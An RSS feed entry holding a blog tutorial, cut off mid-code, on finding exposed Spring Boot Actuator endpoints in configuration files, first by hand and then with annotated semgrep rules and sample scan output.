<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>TutorialBoy</title>
        <link>https://paragraph.com/@tutorialboy</link>
        <description>Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. </description>
        <lastBuildDate>Wed, 06 May 2026 00:17:08 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>TutorialBoy</title>
            <url>https://storage.googleapis.com/papyrus_images/ed17a2aef2b6973fe1296e66cd150bcfed88d73b66855eeb0e84a2193d38de87.png</url>
            <link>https://paragraph.com/@tutorialboy</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Spring Actuator  -  Finding Actuators using Static Code Analysis  - Part 2]]></title>
            <link>https://paragraph.com/@tutorialboy/spring-actuator-finding-actuators-using-static-code-analysis-part-2</link>
            <guid>EHtXcvNDNml5R086HyrP</guid>
            <pubDate>Wed, 19 Apr 2023 11:02:53 GMT</pubDate>
            <description><![CDATA[In the first part of this series, we have discussed the risks inherent in exposing the Actuator functionality of the Spring framework. If you haven&apos;t read that part yet, I recommend that you do so before reading this article. In this article, we will discuss how we can detect exposed Spring Actuators in an application that you have source code access. We will begin with manual steps, and then look at how you can automate the process using static security testing tools (dynamic testing wi...]]></description>
            <content:encoded><![CDATA[<p>In the first part of this series, we have discussed the risks inherent in exposing the Actuator functionality of the Spring framework. If you haven&apos;t read that part yet, I recommend that you do so before reading this article.</p><p>In this article, we will discuss how we can detect exposed Spring Actuators in an application that you have source code access. We will begin with manual steps, and then look at how you can automate the process using static security testing tools (dynamic testing will be covered in part 3 of the series).</p><h2 id="h-manually-looking-for-exposed-actuators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Manually Looking for Exposed Actuators</h2><p>The most basic method of finding dangerous actuators is to use... your eyeballs. If you have access to the application source code, you can look at the Spring configuration files to check if actuators are enabled, and how they are configured. Begin by checking the .properties file(s) (or the respective .yaml equivalents) where the Spring configuration is stored. Recall that the list of active actuators is controlled with the following key:</p><pre data-type="codeBlock" text="# Generic configuration for actuator endpoints, in this case
# activating two endpoints: health and prometheus
management.endpoints.web.exposure.include=health,prometheus
"><code><span class="hljs-comment"># Generic configuration for actuator endpoints, in this case</span>
<span class="hljs-comment"># activating two endpoints: health and prometheus</span>
<span class="hljs-attr">management.endpoints.web.exposure.include</span>=health,prometheus
</code></pre><p>This setting controls which endpoints are exposed over the web. Individual endpoints can also be <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.enabling">completely disabled</a> by setting management.endpoints.$ACTUATOR.enabled=false - as a rule of thumb, I would recommend inspecting everything in the management category and see if any dangerous endpoints are being activated, and if so, if mitigations (authentication requirements, ...) are already in place.</p><p>(All examples in this article are targeting the current version of Spring - older versions may use a different configuration syntax, or even (in the case of Spring 1.X) expose all actuators by default. Adapt what you read to your version of Spring, if necessary.)</p><h2 id="h-automating-the-search-using-semgrep" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Automating the Search Using Semgrep</h2><p>Checking the code manually isn&apos;t always feasible. Maybe you are part of a security team that is responsible for a large set of software repositories, or maybe you want to add a check for dangerous actuators to your CI, to ensure that they aren&apos;t inadvertently activated a few weeks down the line.</p><p>For these cases, let me introduce you to my favorite static code analysis tool: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/">semgrep</a>. It&apos;s a free Open Source tool that you can install and use right now (it only starts costing money if you want to use their dashboard to view the results, which is entirely optional, and all code scanning runs on your device - code is never uploaded to any servers). As stated briefly, semgrep searches for code matching specific patterns, taking the semantics of the code into account (hence, semantic grep). You can use it for security checks based on a<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://semgrep.dev/r"> large set of detection rules curated </a>by the semgrep community, but where it really shines is when you start writing rules for your own use cases.</p><h2 id="h-the-basic-case-all-actuators" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The Basic Case: All Actuators</h2><p>Semgrep rules are fairly easy to wrap your head around, so let&apos;s build one for our <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/malexmave/blog-spring-actuator-example">example application</a> from the previous part of this series. To be able to showcase some of the capabilities of semgrep, we&apos;ll be using the YAML configuration syntax for Spring. This is what a basic vulnerable Spring configuration could look like:</p><pre data-type="codeBlock" text="management:
  endpoints:
    web:
      exposure:
        # Activate all Actuators (this is a bad idea!)
        include: &quot;*&quot;
        # Alternative syntax would be:
        # include:
        #   - &quot;*&quot;
"><code><span class="hljs-attr">management:</span>
  <span class="hljs-attr">endpoints:</span>
    <span class="hljs-attr">web:</span>
      <span class="hljs-attr">exposure:</span>
        <span class="hljs-comment"># Activate all Actuators (this is a bad idea!)</span>
        <span class="hljs-attr">include:</span> <span class="hljs-string">"*"</span>
        <span class="hljs-comment"># Alternative syntax would be:</span>
        <span class="hljs-comment"># include:</span>
        <span class="hljs-comment">#   - "*"</span>
</code></pre><p>Semgrep patterns are also specified in YAML files. Here&apos;s an annotated semgrep rule to find this case, with explanations of what the components are doing.</p><pre data-type="codeBlock" text="# The rules file must begin with this top-level element, followed 
# by a list of rules
rules:
  # Every rule must have a unique ID
  - id: spring-actuator-fully-enabled
    # Now, we define which pattern we are looking for. In this 
    # case, we want to match both of the possible syntaxes for 
    # activating all actuators, so we use a pattern-either as a 
    # top-level element. This tells semgrep that it should match 
    # if at least one of the rules specified below matches the 
    # code.
    patterns:
      # The first pattern specifies the string syntax for the 
      # wildcard actuator setting.
      # Note the frequent use of ... in the rule. This tells 
      # semgrep &quot;I don&apos;t care if there is other stuff here, 
      # keep searching until you find the next specified 
      # part&quot;. If we omitted them, semgrep would not match if 
      # any non-specified elements are in the YAML tree, even 
      # if the pattern we are looking for is *also* in there.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: &quot;*&quot;
      # Specify the second rule that matches the second way of 
      # defining the actuator activation.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include:
                    ... 
                    - &quot;*&quot;
    # Specify the message that should be shown if the rule matches
    message: Spring Boot Actuator is fully enabled. This exposes
      sensitive endpoints such as /actuator/env, /actuator/logfile, 
      /actuator/heapdump and others. Unless you have Spring 
      Security enabled or another means to protect these endpoints, 
      this functionality is available without authentication, 
      causing a severe security risk.
    # Activating all actuators is dangerous, so we set the severity 
    # to ERROR. This means that it could potentially fail a build, 
    # if we ran this as part of a CI job.
    severity: ERROR
    # Tell semgrep that the rule is for the YAML language. This 
    # will automatically cause it to only be evaluated for YAML 
    # files.
    languages:
      - yaml
"><code># The rules file must begin with <span class="hljs-built_in">this</span> top<span class="hljs-operator">-</span>level element, followed 
# by a list of rules
rules:
  # Every rule must have a unique ID
  <span class="hljs-operator">-</span> id: spring<span class="hljs-operator">-</span>actuator<span class="hljs-operator">-</span>fully<span class="hljs-operator">-</span>enabled
    # Now, we define which pattern we are looking <span class="hljs-keyword">for</span>. In <span class="hljs-built_in">this</span> 
    # case, we want to match both of the possible syntaxes <span class="hljs-keyword">for</span> 
    # activating all actuators, so we use a pattern<span class="hljs-operator">-</span>either <span class="hljs-keyword">as</span> a 
    # top<span class="hljs-operator">-</span>level element. This tells semgrep that it should match 
    # <span class="hljs-keyword">if</span> at least one of the rules specified below matches the 
    # code.
    patterns:
      # The first pattern specifies the <span class="hljs-keyword">string</span> syntax <span class="hljs-keyword">for</span> the 
      # wildcard actuator setting.
      # Note the frequent use of ... in the rule. This tells 
      # semgrep <span class="hljs-string">"I don't care if there is other stuff here, 
      # keep searching until you find the next specified 
      # part"</span>. If we omitted them, semgrep would not match <span class="hljs-keyword">if</span> 
      # any non<span class="hljs-operator">-</span>specified elements are in the YAML tree, even 
      # <span class="hljs-keyword">if</span> the pattern we are looking <span class="hljs-keyword">for</span> <span class="hljs-keyword">is</span> <span class="hljs-operator">*</span>also<span class="hljs-operator">*</span> in there.
      - pattern: <span class="hljs-operator">|</span>
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: <span class="hljs-string">"*"</span>
      # Specify the second rule that matches the second way of 
      # defining the actuator activation.
      - pattern: <span class="hljs-operator">|</span>
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include:
                    ... 
                    <span class="hljs-operator">-</span> <span class="hljs-string">"*"</span>
    # Specify the message that should be shown <span class="hljs-keyword">if</span> the rule matches
    message: Spring Boot Actuator <span class="hljs-keyword">is</span> fully enabled. This exposes
      sensitive endpoints such <span class="hljs-keyword">as</span> <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>env, <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>logfile, 
      <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>heapdump and others. Unless you have Spring 
      Security enabled or another means to protect these endpoints, 
      <span class="hljs-built_in">this</span> functionality <span class="hljs-keyword">is</span> available without authentication, 
      causing a severe security risk.
    # Activating all actuators <span class="hljs-keyword">is</span> dangerous, so we set the severity 
    # to ERROR. This means that it could potentially fail a build, 
    # <span class="hljs-keyword">if</span> we ran <span class="hljs-built_in">this</span> <span class="hljs-keyword">as</span> part of a CI job.
    severity: ERROR
    # Tell semgrep that the rule <span class="hljs-keyword">is</span> <span class="hljs-keyword">for</span> the YAML language. This 
    # will automatically cause it to only be evaluated <span class="hljs-keyword">for</span> YAML 
    # files.
    languages:
      <span class="hljs-operator">-</span> yaml
</code></pre><p>This is already quite a handy rule to quickly audit a large codebase for an obvious misconfiguration. To run it, save it in a file, and then run it with semgrep like this:</p><pre data-type="codeBlock" text="$ semgrep -c path/to/semgrep-rule.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:
  src/main/resources/application.yml 
     src.main.resources.spring-actuator-fully-enabled
        Spring Boot Actuator is fully enabled. This exposes sensitive
        endpoints such as /actuator/env, /actuator/logfile,
        /actuator/heapdump and others. Unless you have Spring Security
        enabled or another means to protect these endpoints, this
        functionality is available without authentication, causing a severe
        security risk.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       stuff:
          8┆         - &quot;Nonsense&quot;
          9┆       exposure:
         10┆         include: &quot;*&quot;
         11┆
"><code>$ semgrep <span class="hljs-operator">-</span>c path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>semgrep<span class="hljs-operator">-</span>rule.yaml .
Scanning <span class="hljs-number">2</span> files with <span class="hljs-number">2</span> yaml rules.
  100%<span class="hljs-operator">|</span>███████████████████████████████████████████████████████████████<span class="hljs-operator">|</span><span class="hljs-number">2</span><span class="hljs-operator">/</span><span class="hljs-number">2</span> tasks

Findings:
  src<span class="hljs-operator">/</span>main<span class="hljs-operator">/</span>resources<span class="hljs-operator">/</span>application.yml 
     src.main.resources.spring-actuator<span class="hljs-operator">-</span>fully<span class="hljs-operator">-</span>enabled
        Spring Boot Actuator <span class="hljs-keyword">is</span> fully enabled. This exposes sensitive
        endpoints such <span class="hljs-keyword">as</span> <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>env, <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>logfile,
        <span class="hljs-operator">/</span>actuator<span class="hljs-operator">/</span>heapdump and others. Unless you have Spring Security
        enabled or another means to protect these endpoints, <span class="hljs-built_in">this</span>
        functionality <span class="hljs-keyword">is</span> available without authentication, causing a severe
        security risk.

          3┆ management:
          <span class="hljs-number">4</span>┆   endpoints:
          <span class="hljs-number">5</span>┆     web:
          <span class="hljs-number">6</span>┆       # base<span class="hljs-operator">-</span>path: <span class="hljs-operator">/</span><span class="hljs-keyword">internal</span>
          <span class="hljs-number">7</span>┆       stuff:
          <span class="hljs-number">8</span>┆         <span class="hljs-operator">-</span> <span class="hljs-string">"Nonsense"</span>
          <span class="hljs-number">9</span>┆       exposure:
         <span class="hljs-number">10</span>┆         include: <span class="hljs-string">"*"</span>
         <span class="hljs-number">11</span>┆
</code></pre><p>Note that it outputs the entire matched area of the code for inspection. It also did not have any problems with the commented-out section, or with the other YAML keys, I added to the config file. Pretty neat, and something that would be difficult to achieve with a regular grep call.</p><p>Matching Specific Actuators</p><p>The example above is already quite handy, but it only checks for the wildcard operator. Where semgrep really starts to shine is if we encounter a configuration like this:</p><pre data-type="codeBlock" text="management:
  endpoints:
    web:
      exposure:
        include:
          - &quot;health&quot;
          - &quot;prometheus&quot;
          - &quot;logfile&quot;
          - &quot;env&quot;
          - &quot;heapdump&quot;
          - &quot;togglz&quot;
"><code>management:
  endpoints:
    web:
      exposure:
        include:
          <span class="hljs-operator">-</span> <span class="hljs-string">"health"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"prometheus"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"logfile"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"env"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"heapdump"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"togglz"</span>
</code></pre><p>Now, for the sake of argument, let&apos;s say you are fine with exposing your health endpoint (which can be reasonable in some situations), and you also find it acceptable to expose the Prometheus metrics (I wouldn&apos;t recommend it, but you do you). All other actuators should be disabled. But how can we check this using semgrep?</p><p>Fairly easily, it turns out. Semgrep has a powerful feature called &quot;Metavariables&quot;, which allows you to pull specific parts of the code into a variable that you can then reuse in other parts of the rule. Normally, this would be used to track variables or function names while analyzing source code. However, we can also use it to pull out the list of activated actuators and match them against a list of known-accepted actuators. Here&apos;s an annotated rule that does this:</p><pre data-type="codeBlock" text="rules:
  - id: spring-actuator-dangerous-endpoints-enabled
    # This time, our top-level pattern operator is &quot;patterns&quot; 
    # (instead of pattern-either), which means that all patterns 
    # below need to match for the entire rule to produce a match.
    patterns:
      # First, we mostly reuse the existing pattern to get down to 
      # the level of the activated actuators. However, once we 
      # reach it,  we pull the actuators into a metavariable called 
      # $ACTUATOR. The rule will be evaluated once for every 
      # actuator in the list, meaning that we can produce more than 
      # one finding. Note the use of ... inside the 
      # include: [..., $ACTUATOR, ...]. This is used to indicate 
      # that the actuator can be in any location inside the list. 
      # If we were to write [$ACTUATOR, ...], we would only match 
      # the first in the list.
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # Now comes the magic part :)
      # The metavariable-comparison operator allows us to pull 
      # in a metavariable and compare it using a python comparison 
      # operator. In this case, we explicitly cast the actuators to 
      # strings, and  then compare them to the list of actuators 
      # we want to allow.
      # Note that the &quot;not VAR in LIST&quot; syntax is due to a bug in
      # semgrep that prevented the &quot;VAR not in LIST&quot; construction
      # at the time of writing. In general, the latter should work
      # as well, as soon as the bug is fixed.
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in [&quot;health&quot;, &quot;prometheus&quot;]
    # We can also use the metavariable in the message, so that we 
    # can directly output the offending actuator in the logs.
    message: Spring Boot Actuator &quot;$ACTUATOR&quot; is enabled. Depending 
      on the actuator, this can pose a significant security risk. 
      Please double-check if the actuator is needed and properly 
      secured.
    severity: ERROR
    languages:
      - yaml
"><code><span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">spring-actuator-dangerous-endpoints-enabled</span>
    <span class="hljs-comment"># This time, our top-level pattern operator is "patterns" </span>
    <span class="hljs-comment"># (instead of pattern-either), which means that all patterns </span>
    <span class="hljs-comment"># below need to match for the entire rule to produce a match.</span>
    <span class="hljs-attr">patterns:</span>
      <span class="hljs-comment"># First, we mostly reuse the existing pattern to get down to </span>
      <span class="hljs-comment"># the level of the activated actuators. However, once we </span>
      <span class="hljs-comment"># reach it,  we pull the actuators into a metavariable called </span>
      <span class="hljs-comment"># $ACTUATOR. The rule will be evaluated once for every </span>
      <span class="hljs-comment"># actuator in the list, meaning that we can produce more than </span>
      <span class="hljs-comment"># one finding. Note the use of ... inside the </span>
      <span class="hljs-comment"># include: [..., $ACTUATOR, ...]. This is used to indicate </span>
      <span class="hljs-comment"># that the actuator can be in any location inside the list. </span>
      <span class="hljs-comment"># If we were to write [$ACTUATOR, ...], we would only match </span>
      <span class="hljs-comment"># the first in the list.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern:</span> <span class="hljs-string">|
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
</span>      <span class="hljs-comment"># Now comes the magic part :)</span>
      <span class="hljs-comment"># The metavariable-comparison operator allows us to pull </span>
      <span class="hljs-comment"># in a metavariable and compare it using a python comparison </span>
      <span class="hljs-comment"># operator. In this case, we explicitly cast the actuators to </span>
      <span class="hljs-comment"># strings, and  then compare them to the list of actuators </span>
      <span class="hljs-comment"># we want to allow.</span>
      <span class="hljs-comment"># Note that the "not VAR in LIST" syntax is due to a bug in</span>
      <span class="hljs-comment"># semgrep that prevented the "VAR not in LIST" construction</span>
      <span class="hljs-comment"># at the time of writing. In general, the latter should work</span>
      <span class="hljs-comment"># as well, as soon as the bug is fixed.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">metavariable-comparison:</span>
          <span class="hljs-attr">metavariable:</span> <span class="hljs-string">$ACTUATOR</span>
          <span class="hljs-attr">comparison:</span> <span class="hljs-string">not</span> <span class="hljs-string">str($ACTUATOR)</span> <span class="hljs-string">in</span> [<span class="hljs-string">"health"</span>, <span class="hljs-string">"prometheus"</span>]
    <span class="hljs-comment"># We can also use the metavariable in the message, so that we </span>
    <span class="hljs-comment"># can directly output the offending actuator in the logs.</span>
    <span class="hljs-attr">message:</span> <span class="hljs-string">Spring</span> <span class="hljs-string">Boot</span> <span class="hljs-string">Actuator</span> <span class="hljs-string">"$ACTUATOR"</span> <span class="hljs-string">is</span> <span class="hljs-string">enabled.</span> <span class="hljs-string">Depending</span> 
      <span class="hljs-string">on</span> <span class="hljs-string">the</span> <span class="hljs-string">actuator,</span> <span class="hljs-string">this</span> <span class="hljs-string">can</span> <span class="hljs-string">pose</span> <span class="hljs-string">a</span> <span class="hljs-string">significant</span> <span class="hljs-string">security</span> <span class="hljs-string">risk.</span> 
      <span class="hljs-string">Please</span> <span class="hljs-string">double-check</span> <span class="hljs-string">if</span> <span class="hljs-string">the</span> <span class="hljs-string">actuator</span> <span class="hljs-string">is</span> <span class="hljs-string">needed</span> <span class="hljs-string">and</span> <span class="hljs-string">properly</span> 
      <span class="hljs-string">secured.</span>
    <span class="hljs-attr">severity:</span> <span class="hljs-string">ERROR</span>
    <span class="hljs-attr">languages:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">yaml</span>
</code></pre><p>If we run this rule against the configuration shown above, we get the following result:</p><pre data-type="codeBlock" text="$ semgrep -c path/to/rules.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator &quot;&quot;en&quot; is enabled. Depending on the actuator,
        this can pose a significant security risk. Please double-check if
        the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - &quot;health&quot;
         10┆           - &quot;prometheus&quot;
         11┆           - &quot;logfile&quot;
         12┆           - &quot;env&quot;
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator &quot;&quot;heapdum&quot; is enabled. Depending on the
        actuator, this can pose a significant security risk. Please double-
        check if the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - &quot;health&quot;
         10┆           - &quot;prometheus&quot;
         11┆           - &quot;logfile&quot;
         12┆           - &quot;env&quot;
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
... two more findings like this, for &quot;&quot;logfil&quot; and &quot;&quot;toggl&quot; ...
"><code>$ semgrep <span class="hljs-operator">-</span>c path<span class="hljs-operator">/</span>to<span class="hljs-operator">/</span>rules.yaml .
Scanning <span class="hljs-number">2</span> files with <span class="hljs-number">2</span> yaml rules.
  100%<span class="hljs-operator">|</span>███████████████████████████████████████████████████████████████<span class="hljs-operator">|</span><span class="hljs-number">2</span><span class="hljs-operator">/</span><span class="hljs-number">2</span> tasks

Findings:

  src<span class="hljs-operator">/</span>main<span class="hljs-operator">/</span>resources<span class="hljs-operator">/</span>application.yml 
     src.main.resources.spring-actuator<span class="hljs-operator">-</span>dangerous<span class="hljs-operator">-</span>endpoints<span class="hljs-operator">-</span>enabled
        Spring Boot Actuator <span class="hljs-string">""</span>en<span class="hljs-string">" is enabled. Depending on the actuator,
        this can pose a significant security risk. Please double-check if
        the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "</span>health<span class="hljs-string">"
         10┆           - "</span>prometheus<span class="hljs-string">"
         11┆           - "</span>logfile<span class="hljs-string">"
         12┆           - "</span>env<span class="hljs-string">"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator "</span><span class="hljs-string">"heapdum"</span> <span class="hljs-keyword">is</span> enabled. Depending on the
        actuator, <span class="hljs-built_in">this</span> can pose a significant security risk. Please double<span class="hljs-operator">-</span>
        check <span class="hljs-keyword">if</span> the actuator <span class="hljs-keyword">is</span> needed and properly secured.

          3┆ management:
          <span class="hljs-number">4</span>┆   endpoints:
          <span class="hljs-number">5</span>┆     web:
          <span class="hljs-number">6</span>┆       # base<span class="hljs-operator">-</span>path: <span class="hljs-operator">/</span><span class="hljs-keyword">internal</span>
          <span class="hljs-number">7</span>┆       exposure:
          <span class="hljs-number">8</span>┆         include:
          <span class="hljs-number">9</span>┆           <span class="hljs-operator">-</span> <span class="hljs-string">"health"</span>
         <span class="hljs-number">10</span>┆           <span class="hljs-operator">-</span> <span class="hljs-string">"prometheus"</span>
         <span class="hljs-number">11</span>┆           <span class="hljs-operator">-</span> <span class="hljs-string">"logfile"</span>
         <span class="hljs-number">12</span>┆           <span class="hljs-operator">-</span> <span class="hljs-string">"env"</span>
           [hid <span class="hljs-number">3</span> additional lines, adjust with <span class="hljs-operator">-</span><span class="hljs-operator">-</span>max<span class="hljs-operator">-</span>lines<span class="hljs-operator">-</span>per<span class="hljs-operator">-</span>finding] 
... two more findings like <span class="hljs-built_in">this</span>, <span class="hljs-keyword">for</span> <span class="hljs-string">""</span>logfil<span class="hljs-string">" and "</span><span class="hljs-string">"toggl"</span> ...
</code></pre><p>You will note three things:</p><p>The output of the metavariable is a bit bugged - <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/returntocorp/semgrep/issues/4748">this is a known issue</a> in semgrep at the time of writing, but it is purely cosmetic (internally, the matching works).</p><p>We get four matches, which is the expected number for the configuration file above - health and Prometheus were ignored, as requested.</p><p>Although we defined the rule using the syntax include: [..., $ACTUATOR, ...], it still matched the syntax from the config file, as it knows that the inline list format and the &quot;individual lines prefixed by a dash&quot;-Syntax are equivalent. This semantic knowledge is what makes semgrep so powerful.</p><p>Excluding Findings</p><p>This is already a quite useful pattern. However, maybe your organization actually wants actuators to be active, and simply requires them to be running on a specific port or IP that is not exposed publicly. In that case, a configuration like this would be perfectly acceptable:</p><pre data-type="codeBlock" text="management:
  server:
    # Actuators only listen on localhost:8080
    address: 127.0.0.1
    port: 8080
  endpoints:
    web:
      exposure:
        include:
          - &quot;health&quot;
          - &quot;prometheus&quot;
          - &quot;logfile&quot;
          - &quot;env&quot;
          - &quot;heapdump&quot;
          - &quot;togglz&quot;
"><code>management:
  server:
    # Actuators only listen on localhost:<span class="hljs-number">8080</span>
    <span class="hljs-keyword">address</span>: <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
    port: <span class="hljs-number">8080</span>
  endpoints:
    web:
      exposure:
        include:
          <span class="hljs-operator">-</span> <span class="hljs-string">"health"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"prometheus"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"logfile"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"env"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"heapdump"</span>
          <span class="hljs-operator">-</span> <span class="hljs-string">"togglz"</span>
</code></pre><p>So, how can we tell semgrep &quot;please find cases where actuators are active, but not if they are only listening on a specific IP&quot;? Fairly easily, actually. Let&apos;s build a rule for that.</p><pre data-type="codeBlock" text="rules:
- id: spring-actuator-dangerous-endpoints-enabled
    patterns:
      # Pattern identical to the previous example
      - pattern: |
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # pattern identical to previous example
      - metavariable-comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in [&quot;health&quot;, &quot;prometheus&quot;]
      # We add a third pattern, with the pattern-not directive. 
      # This means that any patterns that match this are not 
      # considered for the results. In this example, we exclude 
      # cases where the address for the management server is 
      # explicitly set to 127.0.0.1.
      - pattern-not: |
          management:
            ...
            server:
              ...
              address: 127.0.0.1
    message: Spring Boot Actuator &quot;$ACTUATOR&quot; is enabled, and not
      bound to 127.0.0.1. Depending on the actuator, this can pose 
      a significant security risk. Please double-check if the 
      actuator is needed and properly secured. Company policy is to
      only allow actuators to listen on 127.0.0.1 - you can achieve
      this by setting management.server.address to 127.0.0.1.
    severity: ERROR
    languages:
      - yaml
"><code>rules:
<span class="hljs-operator">-</span> id: spring<span class="hljs-operator">-</span>actuator<span class="hljs-operator">-</span>dangerous<span class="hljs-operator">-</span>endpoints<span class="hljs-operator">-</span>enabled
    patterns:
      # Pattern identical to the previous example
      <span class="hljs-operator">-</span> pattern: <span class="hljs-operator">|</span>
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
      # pattern identical to previous example
      <span class="hljs-operator">-</span> metavariable<span class="hljs-operator">-</span>comparison:
          metavariable: $ACTUATOR
          comparison: not str($ACTUATOR) in [<span class="hljs-string">"health"</span>, <span class="hljs-string">"prometheus"</span>]
      # We add a third pattern, with the pattern<span class="hljs-operator">-</span>not directive. 
      # This means that any patterns that match <span class="hljs-built_in">this</span> are not 
      # considered <span class="hljs-keyword">for</span> the results. In <span class="hljs-built_in">this</span> example, we exclude 
      # cases where the <span class="hljs-keyword">address</span> <span class="hljs-keyword">for</span> the management server <span class="hljs-keyword">is</span> 
      # explicitly set to <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>.
      - pattern<span class="hljs-operator">-</span>not: <span class="hljs-operator">|</span>
          management:
            ...
            server:
              ...
              <span class="hljs-keyword">address</span>: <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
    message: Spring Boot Actuator <span class="hljs-string">"$ACTUATOR"</span> <span class="hljs-keyword">is</span> enabled, and not
      bound to <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>. Depending on the actuator, <span class="hljs-built_in">this</span> can pose 
      a significant security risk. Please double<span class="hljs-operator">-</span>check <span class="hljs-keyword">if</span> the 
      actuator <span class="hljs-keyword">is</span> needed and properly secured. Company policy <span class="hljs-keyword">is</span> to
      only allow actuators to listen on <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-operator">-</span> you can achieve
      <span class="hljs-built_in">this</span> by setting management.server.<span class="hljs-built_in">address</span> to <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>.
    severity: ERROR
    languages:
      <span class="hljs-operator">-</span> yaml
</code></pre><p>Or maybe you don&apos;t actually care which IP the actuator is listening on, as long as a port and IP are explicitly set - maybe because the set of possible allowed IPs is too large, or maybe because you think that if a team is going to go to the trouble of setting these two values, they know what they are doing and don&apos;t need your handholding. In this case, simply change the pattern-not to the following:</p><pre data-type="codeBlock" text="- pattern-not: |
    management:
      ...
      server:
        ...
        port: $PORT
        address: $ADDRESS
"><code><span class="hljs-operator">-</span> pattern<span class="hljs-operator">-</span>not: <span class="hljs-operator">|</span>
    management:
      ...
      server:
        ...
        port: $PORT
        <span class="hljs-keyword">address</span>: $ADDRESS
